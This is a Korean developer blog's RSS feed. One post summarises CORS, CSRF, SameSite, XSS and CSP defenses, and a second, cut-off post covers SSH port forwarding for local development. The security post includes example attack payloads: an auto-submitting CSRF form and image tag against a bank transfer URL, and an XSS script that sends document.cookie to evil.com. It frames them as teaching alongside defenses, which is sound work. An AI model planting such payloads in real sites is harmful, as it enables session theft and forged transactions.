<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>리팩토링하는 블로그</title>
    <link>https://devdebin.tistory.com/</link>
    <description>공부 기록을  남기며 게시글 리팩토링을 진행하는 블로그입니다.</description>
    <language>ko</language>
    <pubDate>Sat, 15 Aug 2026 08:59:44 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Debin</managingEditor>
    <image>
      <title>리팩토링하는 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/4943834/attach/9e7fc8e2f07d47ce94cc18dee01590f3</url>
      <link>https://devdebin.tistory.com</link>
    </image>
    <item>
      <title>CORS, CSRF, XSS, CSP, SameSite 정리</title>
      <link>https://devdebin.tistory.com/369</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;CORS (Cross-Origin Resource Sharing)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹에서는 보안을 위해 기본적으로 한 웹 페이지(출처 A)에서 다른 웹 페이지(출처 B)의 데이터를 직접 불러오는 것을 제한하는데 이를 '동일 출처 정책(Same-Origin Policy)' 이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 브라우저는 다른 origin으로의 요청 결과를 JavaScript가 읽지 못하게 막으며, CORS는 서버가 &quot;이 origin은 허용한다&quot;고 명시적으로 풀어주는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Origin이란 scheme + host + port (서브도메인도 다른 origin)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CORS는 Simple Request와 Preflight 2가지가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Simple Request 조건&lt;/b&gt; (전부 만족 시):&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메서드: GET, HEAD, POST&lt;/li&gt;
&lt;li&gt;헤더: Accept, Accept-Language, Content-Language, Content-Type 정도만&lt;/li&gt;
&lt;li&gt;Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Preflight 발생 조건&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PUT, DELETE, PATCH 등&lt;/li&gt;
&lt;li&gt;Authorization 헤더&lt;/li&gt;
&lt;li&gt;Content-Type: application/json&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한계&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 프록시로 우회 가능&lt;/li&gt;
&lt;li&gt;브라우저 보안일 뿐 서버 보안 아니다.&lt;/li&gt;
&lt;li&gt;브라우저가 응답을 막는 것이므로 curl, Postman에서는 CORS 에러가 발생하지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스프링 시큐리티 사용을 가정 하에 흐름 정리 &lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #383a42; text-align: left;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;1. 브라우저 &amp;rarr; 서버: 요청 (Origin: https://client.com)
2. 서버(CorsFilter): 응답에 Allow 헤더 붙임
3. 서버 &amp;rarr; 브라우저: 응답 + CORS 헤더
4. 브라우저: 헤더 확인 &amp;rarr; 허용/차단&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;CSRF (Cross-Site Request Forgery)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성 사이트가 &lt;b&gt;사용자 브라우저를 이용해&lt;/b&gt; 쿠키가 자동 첨부된 요청을 보내게 만드는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 말해, 사용자가 &lt;b&gt;로그인된 상태&lt;/b&gt;를 악용해서 의도하지 않은 요청을 보내게 만드는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격 시나리오&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;사용자가 bank.com에 로그인함 (세션 쿠키가 브라우저에 저장됨)&lt;/li&gt;
&lt;li&gt;로그아웃 안 한 채로 악성 사이트 evil.com 방문&lt;/li&gt;
&lt;li&gt;evil.com에 이런 코드가 숨겨져 있음 &lt;b&gt;&amp;lt;img&amp;nbsp;src=&quot;&lt;a href=&quot;https://bank.com/transfer?to=hacker&amp;amp;amount=1000000&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bank.com/transfer?to=hacker&amp;amp;amount=1000000&lt;/a&gt;&quot;&amp;gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;브라우저가 이 요청을 보낼 때 bank.com의 쿠키를 자동으로 첨부함&lt;/li&gt;
&lt;li&gt;서버는 정상 요청으로 인식 &amp;rarr; 송금 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 포인트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;브라우저는 해당 도메인에 요청할 때 쿠키를 자동으로 보낸다.&lt;/li&gt;
&lt;li&gt;서버 입장에서는 정상 사용자의 요청처럼 보인다.&lt;/li&gt;
&lt;li&gt;사용자는 자기도 모르게 요청을 보내게 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방어 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CSRF 토큰&lt;/b&gt;: 서버가 발급한 토큰을 폼에 포함시켜야 요청 처리&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SameSite 쿠키&lt;/b&gt;: SameSite=Strict 또는 Lax로 설정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Origin/Referer 검증&lt;/b&gt;: 요청이 어디서 왔는지 확인&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Custom 헤더 요구: &lt;/b&gt;X-Requested-With 같은 헤더 필수화 (preflight 유발)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SameSite&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3가지 속성이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Strict&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Stric 동일 사이트에서 오는 모든 요청에 쿠키가 포함되고 크로스 사이트간 HTTP 요청에 쿠키가 포함되지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Lax&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동일 사이트에서 오거나 Top Level Navigation 에서 오는 요청 및 메소드가 읽기 전용인 경우 쿠키가 전송되고 그렇지 않으면 HTTP 요청에 쿠키가 포함되지 않는다.&lt;/li&gt;
&lt;li&gt;사용자가 링크(&amp;lt;a&amp;gt;)를 클릭하거나 window.location.replace , 302 리다이렉트 등의 이동이 포함된다. 그러나 &amp;lt;iframe&amp;gt;이나 &amp;lt;img&amp;gt;를 문서에 삽입, AJAX 통신 등은 쿠키가 전송되지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;None&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동일 사이트 및 크로스 사이트 요청의 경우에도 쿠키가 전송된다. 이 모드에서는 HTTS 의한 Secure 쿠키로 설정되야 한다&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;질문 1. CORS 만 있으면 CSRF를 전부 막을 수 있을까?&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1765710390488&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- 악성 사이트 evil.com --&amp;gt;
&amp;lt;form action=&quot;https://bank.com/transfer&quot; method=&quot;POST&quot;&amp;gt;
  &amp;lt;input name=&quot;to&quot; value=&quot;attacker&quot;&amp;gt;
  &amp;lt;input name=&quot;amount&quot; value=&quot;1000000&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt;document.forms[0].submit();&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 폼 제출은 CORS 검사 없이 그냥 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 &quot;simple request&quot;로 분류되는 요청(GET, POST with form data 등)을 preflight 없이 보내기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;그러나 CORS도 도움이 되는 부분이 존재한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;JSON API처럼 Content-Type: application/json을 요구하면 preflight가 발생하고, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;서버가 허용하지 않은 origin은 요청 자체가 차단된다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;하지만 이것도 CORS 설정이 제대로 되어 있을 때만 유효하다.&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론: &lt;b&gt;CORS는 CSRF 방어의 보조 수단일 뿐, 주된 방어책이 아니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;질문 2. CORS 를 적용하고 SameSite가 Lax면 CSRF를 전부 막을 수 있을까?&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Lax의 동작 방식은 아래와 같이 정리할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;링크 클릭 (GET) -&amp;gt; 쿠키 전송&lt;/li&gt;
&lt;li&gt;주소창 직접 입력 -&amp;gt; 쿠키 전송&lt;/li&gt;
&lt;li&gt;&amp;lt;form method=&quot;POST&quot;&amp;gt; -&amp;gt; 차단&lt;/li&gt;
&lt;li&gt;&amp;lt;form method=&quot;GET&quot;&amp;gt; (cross-site) -&amp;gt; 차단&lt;/li&gt;
&lt;li&gt;fetch() / XMLHttpRequest -&amp;gt; 차단&lt;/li&gt;
&lt;li&gt;&amp;lt;img&amp;gt;, &amp;lt;iframe&amp;gt; -&amp;gt; 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;훌륭해보이지만 &lt;b&gt;결국 GET 요청으로 상태를 변경하는 API가 있다면 위험하다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Lax가 안전한 이유&lt;/b&gt;: POST/PUT/DELETE 같은 상태 변경 요청에서 cross-site 쿠키를 차단&lt;/li&gt;
&lt;li&gt;&lt;b&gt;전제 조건&lt;/b&gt;: GET 요청이 상태를 변경하지 않아야 한다. (RESTful 설계)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;더 안전하게&lt;/b&gt;: SameSite=Strict를 쓰면 링크 클릭도 차단하지만, UX가 불편해질 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;XSS (Cross-Site Scripting)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성 스크립트를 웹사이트에 삽입해서 &lt;b&gt;다른 사용자 브라우저에서 실행&lt;/b&gt;시키는 공격.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 게시판에 이런 글을 작성&lt;/p&gt;
&lt;pre id=&quot;code_1765710892704&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  fetch('https://evil.com/steal?cookie=' + document.cookie)
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 다른 사용자가 이 글을 보면 스크립트가 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 그 사용자의 쿠키가 evil.com으로 전송되며, 쿠키 탈취가 완료된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF와 달리 쿠키 값 자체를 훔칠 수 있는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방어 로직&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HttpOnly 쿠키 &amp;rarr; JavaScript로 쿠키 접근 불가&lt;/li&gt;
&lt;li&gt;사용자 입력 이스케이프 처리 (&amp;lt;script&amp;gt; &amp;rarr; &amp;amp;lt;script&amp;amp;gt;)&lt;/li&gt;
&lt;li&gt;CSP (Content Security Policy) 설정 (브라우저가 지원하는 보안 정책)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;참고 1. CSP란?&amp;nbsp;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP는 &lt;b&gt;웹 브라우저에서 실행할 수 있는 리소스의 출처를 제한&lt;/b&gt;하는 보안 정책이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 헤더를 통해 설정하며, XSS 공격을 효과적으로 차단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동작 원리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 브라우저가 페이지를 로드할 때 CSP 헤더를 확인하고, 허용되지 않은 출처의 스크립트/리소스 실행을 차단한다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;pgsql&quot; style=&quot;color: #383a42; text-align: left;&quot;&gt;&lt;code&gt;Content-Security-Policy: script-src 'self' https://trusted.com&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 설정은 &lt;b&gt;자기 도메인&lt;/b&gt;과 &lt;b&gt;trusted.com&lt;/b&gt;에서 온 스크립트만 실행을 허용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 디렉티브&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;script-srcJavaScript 실행 출처&lt;/li&gt;
&lt;li&gt;style-srcCSS 로드 출처&lt;/li&gt;
&lt;li&gt;img-src이미지 로드 출처&lt;/li&gt;
&lt;li&gt;connect-srcAJAX/WebSocket 연결 출처&lt;/li&gt;
&lt;li&gt;default-src기본 정책 (다른 디렉티브 미설정 시 적용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 차단 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 인라인 스크립트를 삽입한다.&lt;/p&gt;
&lt;pre id=&quot;code_1765711266826&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 CSP에서 script-src 'self'로 설정되어 있으면, 인라인 스크립트 실행이 &lt;b&gt;차단된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 스프링 설정 예시다.&lt;/p&gt;
&lt;pre id=&quot;code_1765711326339&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Override
protected void configure(HttpSecurity http) throws Exception {
    http.headers()
        .contentSecurityPolicy(&quot;script-src 'self'&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP란 브라우저 정책이므로 서버에서 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;해당 헤더를 담아서&lt;/span&gt; 브라우저에 요청을 하는 개념이라고 생각하면 되겠다.&lt;/p&gt;</description>
      <category>개발</category>
      <category>Content Security Policy</category>
      <category>CORS</category>
      <category>Cross-Origin Resource Sharing</category>
      <category>CSP</category>
      <category>CSRF</category>
      <category>SameSite</category>
      <category>security</category>
      <category>XSS</category>
      <category>보안</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/369</guid>
      <comments>https://devdebin.tistory.com/369#entry369comment</comments>
      <pubDate>Sun, 14 Dec 2025 20:28:19 +0900</pubDate>
    </item>
    <item>
      <title>SSH 터널링 + hosts 파일을 이용한 로컬 개발 도메인 라우팅</title>
      <link>https://devdebin.tistory.com/368</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 개발 건이 들어왔는데, 고객사 내부 네트워크 시스템에 접근해야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;편하게 외부 컴포넌트라고 부르겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 본인 로컬에서는 고객사 내부 네트워크에 접근할 수 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대신 개발 서버는 고객사 내부 네트워크와 통신이 가능하므로 테스트가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 외부 컴포넌트는 개발 서버에 배포하고만 테스트가 가능한걸까..?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 이에 관한 얘기를 해보고자 한다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;SSH&amp;nbsp;터널링&amp;nbsp;+&amp;nbsp;hosts&amp;nbsp;파일을&amp;nbsp;이용한&amp;nbsp;로컬&amp;nbsp;개발&amp;nbsp;도메인&amp;nbsp;라우팅&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 네트워크 구조를 보면 아래와 같다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;로컬(AWS VPN 접속) -&amp;gt; 개발 서버 (AWS VPC 개발 네트워크) -&amp;gt; 외부 컴포넌트(고객사 내부 네트워크)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 외부 컴포넌트는 443 포트만 허용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 로컬에서 외부 컴포넌트에 접속할 수 있는 구조를 만드는 과정을 설명해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. Hosts 파일 : 도메인 -&amp;gt; 로컬 주소 (127.0.0.1)로 우회&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저, 애플리케이션은 DNS 쿼리보다 hosts 파일을 우선 참고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본인은 mac 이라 /etc/hosts 파일에 아래와 같이 작성했다.&lt;/p&gt;
&lt;pre id=&quot;code_1765369038786&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;127.0.0.1  internal-component.example.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 작성하면 로컬 PC가 internal-component.example.com에 접근할 때 DNS에 쿼리하지 않고 로컬 127.0.0.1로 요청을 보낸다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. SSH 로컬 포워딩: 로컬 포트 -&amp;gt; 원격 서버로 터널 생성&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSH 로컬 포워딩은 다음 원리로 동작한다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;로컬 특정 포트 (예시: 9999)에 들어온 트래픽을 SSH를 통해 암호화된 터널로 전송하고&lt;/li&gt;
&lt;li&gt;개발 서버를 거쳐&lt;/li&gt;
&lt;li&gt;외부 컴포넌트 특정 포트(필자의 경우 443)로 전달한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 로컬의 127.0.0.1:9999 가 internal-component.example.com:443 동일해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 명령어는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1765369528476&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh -L 127.0.0.1:9999:internal-component.example.com:443 user@bastion-host

// 흐름
[로컬 PC]
  &amp;darr; (1) hosts 파일: internal-component.example.com &amp;rarr; 127.0.0.1:9999
[127.0.0.1:9999]
  &amp;darr; (2) SSH 터널
[개발 서버]
  &amp;darr; (3) 실제 요청
[고객사 내부 네트워크: internal-component.example.com:443]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 .pem 키를 바인딩해야하고 여러 번 사용할 거 같아 Termius라는 소프트웨어를 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://termius.com/index.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://termius.com/index.html&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1765369562977&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Termius - Modern SSH Client&quot; data-og-description=&quot;Termius is a modern SSH client for Mac, Windows, Linux, iOS and Android. Connect with one click from any device.&quot; data-og-host=&quot;termius.com&quot; data-og-source-url=&quot;https://termius.com/index.html&quot; data-og-url=&quot;https://termius.com/index.html&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bjDwEE/hyZO60wLFM/HwJFRGfFgDPpfZ2lCF7wl0/img.png?width=1201&amp;amp;height=630&amp;amp;face=0_0_1201_630,https://scrap.kakaocdn.net/dn/yw1Ph/hyZONGMxE6/qA1C60VHuEIP3Lt4b5myPk/img.png?width=1201&amp;amp;height=630&amp;amp;face=0_0_1201_630&quot;&gt;&lt;a href=&quot;https://termius.com/index.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://termius.com/index.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bjDwEE/hyZO60wLFM/HwJFRGfFgDPpfZ2lCF7wl0/img.png?width=1201&amp;amp;height=630&amp;amp;face=0_0_1201_630,https://scrap.kakaocdn.net/dn/yw1Ph/hyZONGMxE6/qA1C60VHuEIP3Lt4b5myPk/img.png?width=1201&amp;amp;height=630&amp;amp;face=0_0_1201_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Termius - Modern SSH Client&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Termius is a modern SSH client for Mac, Windows, Linux, iOS and Android. Connect with one click from any device.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;termius.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 필자의 요청을 단순화하면 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1765370918374&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl https://internal-component.example.com:9999&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
